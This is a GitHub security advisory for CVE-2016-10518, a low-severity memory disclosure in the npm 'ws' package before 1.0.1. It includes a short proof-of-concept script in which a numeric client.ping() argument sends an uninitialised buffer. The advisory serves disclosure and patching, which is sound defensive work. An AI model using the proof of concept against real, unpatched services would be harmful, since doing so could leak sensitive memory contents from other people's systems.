GitHub Advisoryadvisory · npm
GHSA-2mhh-w6q8-5hxw Remote Memory Disclosure in ws
LOW
Official page ↗
- Aliases
- CVE-2016-10518
- Ecosystem
- npm
- Packages
- ws
- Severity
- Low
- Weaknesses
- CWE-201
- Reviewed
- 2020-06-16
Affected packages
• npm ws: < 1.0.1 → fixed in 1.0.1
Description
Versions of `ws` prior to 1.0.1 are affected by a remote memory disclosure vulnerability.
In certain rare circumstances, applications which allow users to control the arguments of a `client.ping()` call will cause `ws` to send the contents of an allocated but non-zero-filled buffer to the server. This may disclose sensitive information that still exists in memory after previous use of the memory for other tasks.
Proof of Concept
```
var ws = require('ws')
var server = new ws.Server({ port: 9000 })
var client = new ws('ws://localhost:9000')
client.on('open', function () {
console.log('open')
client.ping(50) // this sends a non-zeroed buffer of 50 bytes
client.on('pong', function (data) {
console.log('got pong')
console.log(data) // Data from the client.
})
})
```
Recommendation
Update to version 1.0.1 or greater.
Related
Alias · CVE (1)
- CVE-2016-10518 A vulnerability was found in the ping functionality of the ws module before 1.0.0 which allowed clients to allocate memory by sending a… vulnerability
Weakness · CWE (1)
- CWE-201 Insertion of Sensitive Information Into Sent Data weakness
References
- https://nvd.nist.gov/vuln/detail/CVE-2016-10518 advisory
- https://github.com/websockets/ws/commit/29293ed11b679e0366fa0f6bb9310b330dafd795 web
- https://gist.github.com/c0nrad/e92005446c480707a74a web
- https://github.com/advisories/GHSA-2mhh-w6q8-5hxw advisory
- https://github.com/websockets/ws/releases/tag/1.0.1 web
- https://www.npmjs.com/advisories/67 web